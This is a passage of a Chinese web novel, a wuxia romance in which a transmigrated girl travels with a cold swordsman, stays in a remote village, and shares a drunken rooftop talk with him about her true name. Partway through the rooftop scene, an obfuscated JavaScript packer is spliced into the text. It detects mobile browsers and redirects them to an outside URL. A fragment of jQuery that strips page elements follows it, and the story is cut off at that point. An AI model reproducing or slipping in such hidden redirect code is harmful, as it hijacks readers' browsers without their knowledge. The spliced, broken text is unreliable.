“它……没什么特别的‘用处’,”江晚怜有些艰难地组织语言,“硬要说的话,可能就是让人感觉活着?让人开心,或者痛苦,让人有牵挂,有软肋,但也有铠甲……嗯,就是一种很复杂、但又很重要的感觉。”她越说越觉得自己的解释苍白无力,尤其是在无忏那双澄澈得近乎残酷的、只讲求逻辑与效用的目光注视下。 无忏若有所思地点了点头,也不知道是真懂了,还是只是表示“听到了”。他没有继续追问“为什么”或者“有何用”,而是将目光投向更远的山脊线,那里云雾缭绕,通向黑水河的方向。 “麻烦。”他再次吐出这两个字,但这一次,江晚怜隐约觉得,他指的可能不仅仅是李子遥和叶玖之间那种让他不解的互动,或许还包括了她刚刚费力解释的、这种名为“喜欢”的、在他看来毫无效率且平添变数的复杂情感。 就在江晚怜以为这个话题会就此打住,两人继续蹲在草丛里吹冷风时,无忏忽然又转回头,看向她。 他的目光在她脸上停留了片刻,那眼神依旧平静,却似乎比平时多了一丝极其微弱的、难以捉摸的波动。 “你,”他开口,声音不高,“很懂这些?” 江晚怜愣了一下,随即有点不好意思地摸了摸鼻子:“呃……也不算很懂啦,就是看得比较多。”漫画、小说、电视剧,没吃过猪肉还没见过猪跑吗? 无忏没再说什么。 山风更急了,带着高处特有的寒意,卷起枯叶和沙尘。 前方,叶玖似乎已经确定了方向,朝这边招了招手:“该出发了。” 江晚怜如蒙大赦,赶紧从草丛里站起来,拍了拍身上的草屑,感觉腿都有点麻了。无忏也站起身,动作依旧利落,仿佛刚才那段关于“喜欢”的诡异对话从未发生。 只是,在跟上叶玖和李子遥的脚步时,江晚怜忍不住又偷偷瞄了一眼身旁的无忏。 他侧脸的线条在渐暗的天光下显得有些冷硬,目光直视前方,一切如常。 他缺失的某些东西,或许比他拥有的强大武力,更让她感到一种难以言喻的……心悸。 而他们谁也没有注意到,在他们刚刚藏身的草丛上方,一块凸出的嶙峋山石后,一道几乎与岩石同色、气息微弱到几近于无的灰色身影,缓缓收回了窥探的视线,如同融入阴影的壁虎,悄无声息地消失在了更深的石缝之中。 只有一缕极淡的、不属于山林草木的奇异冷香,被山风瞬间吹散,了无痕迹。 64. 无名村 一场草丛小课堂后,四人之间流动着一种难以言喻的微妙气氛,但千穹山巅的寒风显然不打算给他们更多消化或尴尬的时间。稍作休整,他们便继续踏上了下山的路途。 出乎意料的是,接下来的行程颇为顺利。或许是好运用来弥补之前的霉运,传闻中盘踞在千穹山深处的毒蛇猛兽并未出现,连天气都格外给面子,一直是便于赶路的阴天。下山的路固然陡峭,但比起上山时那种需要手脚并用的攀爬,终究是快了许多。 江晚怜一边小心地踩着前人或许留下的模糊足迹,一边偷偷展开那张皱巴巴、边缘有些破损的地图。羊皮纸粗糙的触感下,墨线勾勒的山形水系旁,用极小的字标注着几个地名。她的目光顺着他们刚刚翻越的山脊线向下移动,落在山脚与一片模糊表示的平缓地带交界处。 那里,有一个小到几乎可以忽略不计的黑点,旁边用更细的笔迹,像是随手一点般,标着一个勉强能辨认的村落符号,却没有写下任何名字。 “翻过千穹山后,位于山脚下有一小村落……”江晚怜在心里默念,眼睛亮了亮。可以休息一下,说不定还能找到点热食,最重要的是——她瞥了一眼自己身上经过连日奔波已经又脏又破、还被山间寒气浸得单薄不堪的衣服。 嗯……看来又得找机会跟大佬“借”点钱了。江晚怜心虚地想,不知道这次用什么理由比较好…… “师姐,还有多久我们可以下山啊?”李子遥的声音打断了她的盘算。内力恢复、精力过剩的少年显然对这样“慢吞吞”的步行失去了耐心,他几个箭步窜到与无忏身边的位置,侧过头,语气里带着明显的不爽和挑衅:“我们不能用轻功吗?你之前用轻功不是挺厉害的吗?!” 这话明显是对无忏说的。李子遥还记得溪边被对方用轻功“教做人”的经历,此刻内力充盈,很想找机会扳回一城,至少证明自己不是“花架子”。 走在第三位的叶玖,在无忏那标志性的冷淡嘲讽出口之前,先一步开了腔。她声音平静,却带着不容置疑的定论:“子遥,我们确实可以用轻功。” 李子遥眼睛一亮。 “但是,”叶玖侧过身,让出走在队伍最末尾、正低头研究地图的江晚怜。她的目光落在江晚怜身上,意思不言而喻。“江姑娘非习武之人。” 唰——! 三道目光齐刷刷地落在了刚刚抬起头的江晚怜身上。 江晚怜手里还捏着地图,被这突如其来的注目礼搞得一愣,茫然地眨了眨眼:“你、你们为什么这么看我?”她脸上还带着研究地图时的专注和一点点发现目标的欣喜,完全没意识到自己已经成了“拖慢队伍进度”的“罪魁祸首”。 李子遥的小心思被师姐一句话堵了回去,正憋着口气,闻言立刻找到了宣泄口。他“噔噔噔”几步又跨到江晚怜面前,双手叉腰,下巴微扬,用一副“都是你的错”的语气抱怨道:“都怪你!要不是为了体谅你,我和师姐至于放着好好的轻功不用,在这儿一步步磨蹭吗?这得走到什么时候!” 这话说得毫不客气,带着少年人特有的直白和理所当然的埋怨。 江晚怜愣了两秒,随即,一股无名火“噌”地窜了上来。连日奔波的疲惫、对前路的忐忑、还有刚才研究地图时那点小欣喜被瞬间打断的恼火,混杂在一起。 “……哈!?”她嘴角不受控制地抽了抽,地图往怀里一收,也叉起了腰,“你几个意思啊?!凌云门弟子了不起啊?腿长了不起啊?有轻功了不起啊?!”一连串的反问砸了过去,“嫌我慢你自己御剑飞下山去啊!又没人拦着你!” 真不知道原主到底看上这人哪点了!除了现在这张因为气愤而显得有些幼稚的脸能看,这脾气,这情商,简直是灾难!江晚怜吐槽的同时,又对漫画原女主叶玖表示深深的佩服——要是平常有这么个师弟待在自己身边,不一脚踢出二里地都算她脾气好了。 眼看两人像两只斗鸡一样梗着脖子,你一句我一句,音量渐高,在这相对安静的下山路上显得格外突兀,叶玖无声地叹了口气。然而,若是仔细观察,便能发现她的嘴角,向上弯起了一个转瞬即逝的弧度。这种充满幼稚却生动的争吵,在她那通常只有修炼、任务和管教师弟的规整人生里,倒也算是一种……新奇的调剂? 当然,作为凌云门师姐和目前队伍里最年长的“稳重担当”,她不能任由这争吵继续下去。 “好了好了,子遥。”叶玖上前两步,恰到好处地插进两人之间,微微侧身,将还想还嘴的李子遥挡在身后,面朝江晚怜,语气温和却带着不容置疑的制止力。她又偏头,递给李子遥一个“适可而止”的眼神。 李子遥接收到师姐的眼神,虽然还是不服气地哼了一声,但总算闭上了嘴,只是别过脸去,用后脑勺表达自己的不满。 江晚怜也喘了口气,意识到自己刚才好像有点过于激动了。她抿了抿嘴,小声嘀咕:“本来就是……自己有轻功了不起哦……”但声音已经低了下去。 一直背对着他们、对身后争吵毫不在意的无忏,此时却停下了脚步。他没有回头,只是微微侧首,声音平静地顺着山风飘来: “太吵。” 两个字,像冰水浇熄了最后一点火星。 李子遥和江晚怜同时一噎,互相瞪了一眼,又各自扭开头。 叶玖看向无忏的背影,眼中闪过一丝复杂的思量。他看似不耐,但这句“太吵”,客观上却中止了这场无意义的争执,比她的劝解更直接有效。 无忏说完,便重新迈步,速度似乎比刚才……更慢了一丝丝? 江晚怜撇撇嘴,跟了上去,下意识地离李子远了点。叶玖则走到李子遥身边,低声说了句什么,大概是“沉稳些”之类的训诫,李子遥蔫蔫地点了点头。 小小的风波平息,队伍继续下行。山路越发陡峭,有些地方需要借助岩壁上的藤蔓或突出的石头才能稳住身形。江晚怜走得小心翼翼,手心因为紧张和用力而微微出汗。 在一个尤其陡峭的斜坡处,江晚怜脚下一滑,几颗碎石滚落深谷,吓得她低呼一声,手臂慌乱地在空中划拉了一下。 走在前面一步之遥的无忏,在她惊呼的同时,手臂向后一伸,精准地抓住了她的手腕。他的手掌带着习武之人特有的薄茧,却没有正常人的体温,在这样寒冷的山间居然显得格外明显。 “看路。”他松开手,丢下两个字,继续前行。 江晚怜站稳,心脏还在砰砰直跳,手腕上残留的触感却异常清晰。她看着无忏若无其事的背影,那句习惯性的“谢谢”卡在喉咙里,最后只是小声“哦”了一下,赶紧跟上。 这个小插曲被后面的叶玖和李子遥看在眼里。叶玖目光微动,没说什么。李子遥则撇了撇嘴,嘀咕:“走路都不看路……”但也没再大声抱怨。 日头渐渐西斜,将山林染上一层温暖的金橙色。当他们终于穿过最后一片茂密的树林,眼 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“几位是……过路的?”老妇人放下手中的竹篾筐,用带着浓重乡音的官话问道。 叶玖上前一步,礼貌地拱手:“正是。老人家,我们途经此地,天色已晚,不知村中可有地方能让我们借宿一晚?我们会付银钱的。” 老妇人浑浊却温润的目光在四人身上缓缓掠过。当看到江晚怜单薄衣衫上明显的磨损和裙摆处被荆棘勾破的裂口时,那目光停留了片刻,流露出一种长辈特有的、朴素的怜惜。随即,她又端详了一下气质冷冽、默立一旁的无忏,以及虽显疲惫却目光清正、举止有度的叶玖与李子遥,脸上深深浅浅的皱纹便如同秋日湖面荡开的涟漪,舒展开来,每一条纹路里都漾着毫不作伪的暖意。 “有,有!家里就老婆子我一个,屋子是简陋了些,倒还能腾出两间空房来。要是几位不嫌弃,就跟我来吧。”老妇人声音沙哑却透着爽利,她弯腰重新拎起沉甸甸的竹筐,热情地在前引路,“来得正好,灶上的饭快好了,不过是添几双筷子的事!” 空气中,那股属于人间的烟火气息愈发真切了。柴火特有的干燥暖意混合着食物朴素的咸香,丝丝缕缕,缠绕在傍晚清寒的空气里,构成了一种难以言喻的、直击心灵的温暖诱惑。 江晚怜下意识地按了按自己早已开始小声抗议的肚子,目光追随着老妇人那略显佝偻却步伐稳当的背影。一直紧绷的心弦,在此刻终于得以稍稍松弛,仿佛一块悬了许久的石头,终于落在了柔软的草甸上。她悄悄侧目,瞥了一眼身旁沉默的无忏,他脸上还是那副表情,只是目光淡淡扫过眼前静谧的村落。 然而,这份松弛感并未持续太久。一种细微的、源于观察本能的疑虑,如同水底悄然升起的气泡,轻轻叩击着她的思绪。这村子……实在太小了,小到一眼就能望到头,就几户人家散落着,静默在渐浓的暮色里。更让她心中一动的是,这位看起来慈祥通达的老妇人,方才打量他们时,眼中只有对陌生行旅最寻常的审视与善意,却全然没有流露出半分面对“画像贴满城墙的通缉要犯”时应有的惊疑或恐惧。 那些关于她和无忏的悬赏告示,按常理推断,此刻早该如雪片般飞遍周边城镇,即便是偏远村落,也该有所风闻。可此地,却静谧得仿佛被时光遗忘,与山外那个沸沸扬扬的江湖,隔着一层无形的、厚重的帷幕。 65. 等待进入网审 老妇人的家确实不大,土墙木梁,坐落在村落中央,不偏不倚。待叶玖与李子遥将随身不多的行李归置妥当,暮色已如同滴入清水的浓墨,彻底晕染开来。 三人围坐在一张略显陈旧却擦拭得干干净净的木桌旁。屋内只有一盏小小的油灯,光线昏黄柔和,将人影拉长,投在朴素的土墙上。空气里弥漫着食物最本真的香气——清水煮的时蔬,佐以零星油花,主食是粗糙却扎实的杂粮饭,热气袅袅。 江晚怜小口吃着。她原本还怀揣着抵达村落就能置换一身行头的微小期盼,此刻已彻底消散。这村子实在太小,目光所及,除了寥寥几户透出灯光的窗,哪里寻得到市集或织坊的影子? 她的目光悄悄掠过对面的李子遥和叶玖。两人也在安静用饭,偶尔低声交谈几句,内容不外乎接下来的路线或对黑水河的揣测。江晚怜自觉插不上话,便转而望向敞开的屋门。 门外是沉沉的夜色和几点寥落的星子。 至于无忏? 他并未随他们一同进屋。用江晚怜的理解翻译一下他那简短的话语,大意便是“不进去了,附近看看”。 那位收留他们的老妇人,正颤巍巍地在一旁收拾着仅有的两间偏房,尽力想为客人们铺陈得舒适些。 江晚怜最先吃完,碗筷轻放。见叶玖二人仍在低声商议,她唇角无意识地弯起一点“姨母笑”的弧度,随即起身,寻到正在抱褥子的老奶奶。 “奶奶,我来帮您。”她说着,自然而然地接过那一沓虽然打着补丁、却浆洗得蓬松干净的棉被。 “哎哟,这怎么好意思叫客人动手?” “没事没事,我闲着也是闲着。”江晚怜利落地帮着铺好床褥,拍了拍,让它们看起来更松软些。 老妇人看着她的动作,忽然想起什么,眯起有些昏花的眼睛四下看了看:“诶……方才那位穿着黑衣裳、不怎么说话的小公子呢?好像没见他进来吃饭?” “啊、啊……”江晚怜脑筋飞转,脸上堆起一个尽量自然的笑,“他……他路上吃坏了东西,肚子有点不舒服,一会儿就回来。” 对不住了无忏! “肚子不舒服?那可不好……”老妇人念叨着,目光落在江晚怜脸上。灯火朦胧,她的眼神已不太清明,只模糊地看着眼前少女的轮廓与笑容。看着看着,那布满皱纹的脸上,渐渐浮现出一种悠远而苦涩的神情,“你这小丫头,笑起来的样子……倒有几分像我家囡囡了。” “囡……囡囡?” 在老妇人已然泛黄的记忆里,那是个总爱穿着绿色衣衫的孩子。在这清贫的家里,她和老伴儿总会竭尽所能,用最结实的布料、最细密的针脚,给女儿缝制新衣。而那小丫头,便会穿着新衣,像只快乐的小雀儿,在村子里跑来跑去,向每一个遇见的人“炫耀”她的新裙子。 “是啊,”老妇人的声音轻得像叹息,“你笑起来的时候,那神气……像她。” 江晚怜环顾四周。这屋里除了老妇人生活的痕迹,再无他人长居的迹象,冷清而整齐。 “那,那位‘囡囡’,现在……”她轻声问,心中已隐约有了预感。 “没了。”老妇人摇了摇头,动作很慢,仿佛承载着无形的重量,“早就没了。和她爹一起,留在二十一年前……那片再也回不来的乱世里了。” 江晚怜倏然睁大了眼睛,喉咙像是被什么堵住了。二十一年前……战乱……这几个字眼沉甸甸地压下来。 “对、对不起,奶奶……我不该问的。”她慌忙道歉。 “没关系,”老妇人却拍了拍她的手背,意外的平静,“都过去了。老婆子我啊,早就放下了。就像……那位当年说的一样。” 她的目光飘向窗外清冷的月色,仿佛穿透时光,回到了某个炽热而残酷的午后。记忆中的画面纷至沓来:焦土、残垣、弥漫的硝烟与绝望。在失去女儿与丈夫的巨大悲恸中,她曾想一头撞向断壁,了却残生。却是一道深蓝色的身影,如同劈开混沌的清风,在她决绝前一刻,稳稳地拉住了她。 那是个很年轻的……可以称为少年的人。脸上还带着未愈的伤痕与灰烬,却掩不住眉眼间如润玉般流畅清润的轮廓。最让她铭记至今的,是那双眼睛——里面没有乱世的癫狂与麻木,反而沉静得像盛满了星子的夜空,清澈,辽远,带着一种不属于那个血腥年代的、令人心定的光芒。 “他把我们这样一群没了家、没了盼头的人,带到了这里。”老妇人如同梦呓般喃喃低语,“他说,暂且在此安身,等天下太平了,再回来,给这村子起个响亮的好名字。” 她顿了顿,嘴角泛起一丝极其淡薄、近乎虚无的笑:“可现在看起来……怕是等不到了。有人等不及,先走了;也有人,选择离开这穷地方,去寻更好的活路了。” 江晚怜屏息听着。那个“他”……是谁? 老妇人忽然转过头,将布满岁月沟壑的手轻轻覆在江晚怜的手背上,温热而粗糙。“小丫头,你叫什么名儿?” “我……我叫江晚莲,”她略一迟疑,答道,“莲花的莲。” “晚莲…晚莲……”老妇人低声重复着,眼中蓦地闪过一点亮光,那苦涩的笑容里忽然掺入了一丝真切的暖意,“好名字啊,真好听。跟我那位恩人……一个姓呢。” 江?! “奶奶,”她不由自主地向前倾身,声音压得低低的,每个字都吐得清晰而慎重,“我就问一句……您说的那位恩人,是不是名叫江逐义?” 老妇人浑浊的眼睛倏然睁大,惊讶的光芒一闪而过,随即被巨大的、混合着怀念与喜悦的情绪淹没。“莲丫头,你……你认得他?!”她的声音因激动而微微发颤,“太好了……太好了!这世上,原来还有人记得他。” 夜已深沉。 江晚怜躺在靠近窗边的位置,一缕清冷的月光恰好透过窗棂的缝隙,无声地流泻进来,像一匹柔软的银纱,覆在她脸上。她闭着眼,却了无睡意。 无忏还没回来。 旁边传来叶玖均匀而轻浅的呼吸声,显然已经睡熟。江晚怜悄悄坐起身,理了理微皱的衣襟,赤着脚,像只灵巧的猫儿,蹑手蹑脚地溜出了房门。 倒不是担心他会出什么事——以那家伙的本事,这概率比李子遥突然变得沉稳可靠还低。她只是……有点怕他就这么悄无声息地走了。 刚踏出门槛,一股带着夜露寒意的山风便扑面而来。江晚怜打了个轻颤,下意识地抬头,顺着风的方向望去—— 月光如练,静静地洒在人间。 而就在他们借宿的这间农舍屋顶之上,一个玄色的身影,正背对着她,安然独坐。清辉落在他肩头发梢,为他披上了一层朦胧而孤寂的白纱。他微微仰着头,望着天际那轮皎洁的银盘,姿态是少见的……沉静。 …… “喂,”江晚怜拢了拢手臂,仰起脸,声音压得低低的,刚好能送入风中,又不至惊扰屋里安眠的人,“饭不吃就算了,大晚上不睡觉,在这儿装什么对月抒怀的诗人?” 屋顶上的人影纹丝未动,恍若未闻。 江晚怜撇撇嘴,转身作势要走,眼角的余光却瞥见了墙角斜倚着一架供修缮用的简陋木梯。她脚步一顿,眼珠转了转。 不多时,她已小心翼翼地爬上了屋顶,悄无声息地挪到那背影之后。月光将她自己的影子投下,与他的影子叠在一处。她屏住呼吸,忽然伸手,从后面轻轻捂住了他的眼睛。 “铛铛!猜猜我是谁?”她压着嗓子,带着一丝恶作剧得逞般的笑意。 身前的人依旧沉默。 这反应让江晚怜有点讪讪。真是的,哪怕不耐烦地回一句“聒噪”也好啊! 然而,就在这尴尬的寂静里,一缕不同于夜风清冽的、更为醇厚馥郁的气息,幽幽地飘入了她的鼻腔。 是酒气。 哦——原来他喝酒了。 等等。 “你喝酒了!?”江晚怜倏然松开手,两步绕到他身侧。借着明朗的月光,这才看清他身旁放着一个敞口的粗陶酒壶,而他修长的手指间,正松松地拈着一只小小的酒盏。 “……有意见?”无忏终于开了口,声音比平日多了几分低哑,尾音似乎也拖得长了些。 “呃……没、没有,”江晚怜干笑两声,顺势在他旁边坐了下来,好奇地探过头,“我还以为你不是会沾这些的人呢。”她指了指那酒壶,“这村子看起来可不像是能有酒肆的地方,你哪儿弄来的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086369|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无忏的目光依旧落在远处的月色里,沉默了片刻,才道:“……一个人,给的。”他顿了顿,又补充,“说是报酬。” 什么?!报酬?! 江晚怜心里一紧,下意识抓住他的手臂晃了晃:“你杀人了?”她扳过他的身子,迫使他面向自己。清辉之下,她清楚地看到,那张向来没什么血色、更遑论表情的脸上,此刻竟浮着一层薄薄的、极淡的红晕,一直蔓延到耳根。 他喝醉了。 他居然会喝醉?而且看那酒壶里的存量……分明没下去多少啊。这酒量,未免也太…… “没有。”无忏回答得倒是干脆,只是眉头因为被晃动而微微蹙起。 “那是什么报酬?”江晚怜追问,手上力道却不自觉松了。 “‘除恶’。” “那不还是……”江晚怜差点脱口而出,硬生生刹住,压低声音,“那不还是跟‘那个’有关吗!” 无忏的眉头蹙得更紧了些,配上那层醉意氤氲的红晕,竟奇异地削减了他身上惯有的冷冽疏离,显出几分……近乎孩子气的执拗?“我没有杀人……”他语气平板地强调,“只是赶走了而已。” “真的?”江晚怜狐疑地盯着他的眼睛。 “真的。” 江晚怜这才长长舒了口气,悬着的心落了回去。还好还好,这种多事之秋,可不能再节外生枝了。 夜风拂过,带来山野草木的气息,也吹散了方才一瞬间的紧张。江晚怜的注意力又回到那壶酒上,好奇心重新占了上风。 “哎,”她用胳膊肘轻轻碰了碰他,“这酒……什么味儿啊?我长这么大,还没正经喝过一口呢。”这话倒是由衷。无论是穿越前被父母严格管教的十八年,还是穿越后这颠沛流离的短暂时光,酒精对她而言,都是只存在于他人故事和杯盏中的遥远之物。她看着那些人为之痴迷、沉醉、或哭或笑,总是忍不住好奇,那液体里究竟藏着怎样神奇又危险的魔力。 “不好喝……”无忏的回答言简意赅,带着醉后特有的、慢半拍的诚实。 “不好喝你还喝?”江晚怜无语地瞥了他一眼。醉酒后的他,话似乎比平时多了一些,虽然依旧是寥寥数语,但那股拒人千里的寒气却淡了许多。 无忏没有回答这个问题,反而侧过脸,将目光转向她。月光下,那双异色的眼瞳比平日更显迷离,深处似乎有什么情绪在缓慢地流淌。“你……”他语速很慢,“不是在睡觉么?” “我睡不着啊,”江晚怜托着腮,半真半假地抱怨,“还不是因为你?傍晚出门,直到深夜都不见影子,我还以为你嫌麻烦,干脆自己走了,把我一个人扔这儿了呢。” “……我不会那样做。”无忏的声音低了下去,却异常清晰。 “哦?”江晚怜来了兴趣,嘴角不自觉地勾起一抹带着促狭的笑,故意凑近了些,近到能看清他长睫上沾染的细微月华,“为什么呀?” 她本只是想逗逗这个难得卸下心防的“榜首”。 然而,出乎意料地,无忏非但没有像往常那样拉开距离或移开视线,反而也微微向她倾身。这突如其来的靠近让江晚怜呼吸一滞,下意识地想要后退,背脊却已经抵住了倾斜的屋瓦。 浓淡合宜的酒气,混合着他身上一贯清冷的、仿佛雪后松林般的气息,瞬间将她包围。月光毫无保留地洒落,照亮了他近在咫尺的脸庞。江晚怜第一次如此清晰地、毫无遮挡地看见他的五官——那过分精致的眉骨,挺拔的鼻梁,以及此刻微微抿着、因酒意而透出些许水色的薄唇。 而最让她心跳漏跳一拍的,是那双眼睛。 一泓绯红,一泓翠色,在月华的浸润下,仿佛两潭深不见底的宝石湖泊。而此刻,这两潭湖泊的中心,清晰地、完整地,只映出了她一个人的、微微有些怔忪的倒影。 他看着她,眼神有些涣散,却又异常专注。 “因为……”他开口,语速依旧缓慢,每个字却带着一种奇异的、近乎理直气壮的重量,敲在她的耳膜上,“我接下了委托。” 夜风似乎在这一刻静止了。 “所以,”他顿了顿,像是在确认某个至关重要的法则,然后一字一句地宣布,“你不能死。” 66. 等待进入网审 “委托?”江晚怜捕捉到这个异常清晰的词。无忏当初……不是只接了灭门的委托吗?他这话里,分明还包裹着另一层含义。那场血腥屠杀之后,竟还有后续? “你醉得开始说胡话了?”她直直看向他的眼睛,试图从那双迷离的异色瞳里分辨出哪怕一丝玩笑或混乱的痕迹。 “我没有。”他的反驳依旧简短,却因醉意而拖长了尾音,显出几分与往常不同的执拗。 “你还没有?”江晚怜微微提高了声调,又立刻压下去,在寂静的月夜里显得格外清晰,“那你说清楚,除了……除了那件事,你还接了什么样的委托?” 无忏沉默了片刻,似乎在混沌的思绪中费力搜寻着那个早已刻下的约定。月光在他微颤的睫毛上跳跃。终于,他开口,声音比之前更低,带着醉酒后特有的、仿佛融化了的黏糊感,一字一句却异常沉重: “……江寻,让我留你一命。” 江寻。 这个名字像一道无声的惊雷,猝然劈进江晚怜的脑海,震得她耳畔嗡嗡作响。 是江家主,是这具身体的义父!是他……在灭门的死局中,为“江晚怜”争得了最后一线生机?如果真是这样……那么江家主这又是散尽家财、又是最终丧命的,他苦心安排的最后退路,却终究未能护住那个骄纵的女孩,一切成空。 但,无忏既然杀了他……那就意味着,在无忏那套冰冷的原则里,江寻是“罪人”。 纷乱的思绪裹挟着寒意翻涌上来。江晚怜定了定神,声音不自觉地放得更轻,仿佛怕惊醒了这个醉后吐露真言的梦:“你的意思是,江家主他只让你‘留’我一命,至于之后是死是活,是否流离失所、受苦受难……其实都与你无关,对吗?”她想起漫画里那个侥幸存活却因重伤无人庇护、最终走向绝境的“江晚怜”。可她不是“她”,现在的境遇,是她自己厚着脸皮“死缠烂打”求来的。 无忏看着她,缓慢地,点了点头。月光下,这个简单的动作带着一种近乎残酷的坦诚。 江晚怜感觉心口有些发堵,她吸了一口冰凉的夜气,再次开口时,语气里不由自主地带上了一丝审视般的尖锐:“那你刚刚又说,‘不能让我死’……这又是什么意思?委托里只说了‘留一命’,可没说要管我死活到现在吧?” 夜风似乎也停滞了,等待着答案。 无忏的眉头又蹙了起来,仿佛这个问题比之前的更让他困扰。他偏过头,避开她过于直接的视线,目光落在虚无的月色里,半晌,才用一种近乎抱怨、却又莫名认真的口气嘟囔道: “……你太吵了。” “啊?” “所以,”他转回头,像是终于为自己的行为找到了一个合理的注解,语气甚至带上了一点理直气壮,“让你留下来。” “我靠……”江晚怜一时语塞,简直气笑了,那点沉重感瞬间被荒谬冲淡,“无忏,你喝醉了是把脑子也泡坏了吧?!因为我‘吵’?就因为这个破理由,你就一路带着我这个‘麻烦’?你这借口编得也太不走心了!”又气又恼之下,她忘了分寸,伸手就轻轻拽了拽他垂落在颊边的一缕鬓发,微微用力,迫使他转过脸来,气鼓鼓地借着月光瞪他。 “江晚怜……”他低唤了一声,声音里混着被扯痛的不满和一丝更深沉难辨的情绪,抬手握住了她作乱的手腕。力道不重,却足以让她停下动作。 江晚怜被他这一声唤得轻轻一愣,那语气里的某种东西让她心头莫名一悸。她顺势松开了手指,任由他握着自己的手腕,自己也重新坐直了身体,别开脸,低声嘟囔:“你能不能……别叫这个名字。” 握着她手腕的指尖几不可察地顿了一下。 “为什么?”无忏的声音近在耳边,带着酒意的温热气息拂过她的耳廓。 “我——”江晚怜张了张嘴,却不知从何说起。月光下,她垂下了眼帘,细密的睫毛在眼下投出一小片颤动的阴影,方才那股质问的气势悄然消散,取而代之的是一种深深的、无处着落的疲惫和……疏离。 无忏静静地看着她侧脸上那片阴影,看着她无意识绞在一起的手指。过了好一会儿,他才用一种陈述事实般的平缓语调说: “我还未听过……有人讨厌自己的名字。” “倒也不是……讨厌。”江晚怜的声音轻得像叹息。晚怜——晚岁安怡,怜念常存。寓意多么美好,承载着长辈最温柔的祝愿。只可惜,这个名字真正的主人,那份骄纵与任性,最终配不上这份美好的期许。 江晚莲。属于她的,是“莲”,莲花的莲。听起来普普通通,每次介绍都要补上一句“莲花的莲”,总觉得有点土气,有点笨拙。但……这才是她。是那个在另一个世界里,拥有平凡父母、普通烦恼的江晚莲。 一种突如其来的、混合着孤愤与决绝的情绪,如同暗潮般冲垮了理智的堤防。她的目光落在了手边那个粗糙的酒壶上,里面还晃荡着大半壶清亮的液体。 鬼使神差地,她伸出了手。 不是用酒杯,而是直接抓住了壶身。 然后在无忏尚未完全反应过来的注视下,她仰起头,闭上眼,将那辛辣冰凉的液体,如同吞咽这荒唐命运般,大口大口地灌入喉中。 “咳——!”剧烈的灼烧感从喉咙一路蔓延到胃部,呛得她眼泪瞬间涌出。她猛地放下酒壶,重重地磕在屋瓦上,发出一声闷响。抬起手背狠狠擦过嘴角,残留的酒渍在月光下闪着微光。 酒精的力量迅猛而直接,几乎顷刻间就冲上了头顶。一股滚烫的热意从脖颈迅速爬上脸颊、耳根,视野似乎都蒙上了一层氤氲的雾气。但她却觉得,从未如此清醒,如此……有勇气。 她转过头,一把抓住了无忏的前襟,迫使他不得不正视自己。染着醉意与泪光的眼睛亮得惊人,直直地撞进他那双映着月华与她身影的异色瞳眸里。 “无忏!”她的声音因为酒精和激动而微微发颤,却异常清晰,一字一顿,砸碎在寂静的夜空下,“你——给我听好了!” 夜风屏息。 “我叫江晚莲!”她几乎是用尽力气喊出了这个名字,每一个音节都咬得极重,像是要挣脱某种无形的束缚,“江、晚、莲!是莲花的那个‘莲’!” 话音落下,她松开手,胸脯因急促的呼吸而起伏,脸上红晕更盛,眼眸却亮得如同燃着两簇小小的火焰,倔强地、不容置疑地望着他,等待着一个回应,或者仅仅是被听见的确认。 月光无声流淌,将她染着醉意与泪痕、却无比认真的脸庞,照得清晰无比。那壶被她一饮而尽的酒,此刻正化作滚烫的勇气与前所未有的真实,在她血液里奔流。而那个被郑重宣之于口的名字——“江晚莲”,仿佛一道崭新的刻痕,带着她全部的秘密与决心,深深凿进了这个被月色浸透的夜晚。 无忏的眼瞳在月光下仿佛静止的湖面,清晰地映着她激动泛红的脸庞、微微湿润的眼睫,还有那倔强抿起的、带着酒渍的唇。他看了她很久,久到江晚怜几乎要以为他醉得失去了反应,或者根本没听懂这突兀宣告的含义。 然后,他极轻微地歪了歪头。这个动作由平时冷硬的他做来,因着酒意,显出几分孩童般的纯然困惑。 “……莲?”他重复了这个字,声音低哑,带着酒后的黏糊,尾音微微上扬,像是在舌尖上小心翼翼地品尝一个陌生而柔软的词汇。 “对!莲!”江 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她脑子被酒精蒸得晕乎乎的,威胁的话到了嘴边,却拐了个匪夷所思的弯:“……你就叫我‘莲莲’好了!这是我爸妈…才叫的小名!看你那么笨……你叫这个好了!”话一出口,她自己先愣了一下,随即被这幼稚又霸道的“威胁”弄得脸颊更烫。 她在胡言乱语什么啊! 无忏静静地看着她近在咫尺的、因为激动和醉意而生动无比的脸庞。月光在她眼中碎成星星点点的光,那里面没有江晚怜的骄纵,只有一种近乎笨拙的认真,和一丝深藏的脆弱。 他缓慢地眨了眨眼,似乎在消化这一长串命令。然后,薄唇微启,尝试性地,吐出一个音节: “莲……” 声音很轻,带着试探,还有一丝奇异的生涩。不是“江晚莲”,不是“江晚怜”,仅仅是……莲。 江晚莲的心脏猛地一跳,像被什么柔软的羽毛猝不及防地搔了一下。她根本没想过他会真的……而且只叫了一个字!这比完整的“莲莲”听起来更……更让人头皮发麻! “停——!”她几乎是惊慌失措地扑上去,一只手猛地捂住了他的嘴。掌心下,他的唇瓣和呼出的、带着酒意的气息让她像被烫到一样,却又不敢松开。“不、不准叫!这个也不准!我刚刚是胡说的!你……你什么都不准叫!忘掉!快忘掉!” 她语无伦次,整个人因为前倾的动作几乎半趴在他身上,另一只手为了保持平衡下意识地抓住了他胸前的衣襟。两人之间的距离瞬间归零,月光流淌在彼此交叠的影子上。 无忏被她捂着嘴,异色的眼睛微微睁大,近距离地、直直地看着她近在咫尺的、慌乱无比的眼眸。那里面映着小小的、狼狈的他自己。他并没有挣扎,只是任由她捂着,长长的睫毛在眼下投出安静的阴影,仿佛在困惑她为何如此激动。 而就在这时—— 下方屋舍的阴影里,两双因震惊而睁得滚圆的眼睛,正死死盯着屋顶上这几乎叠在一起、动作暧昧的两人。 叶玖:“……” 李子遥:“……” 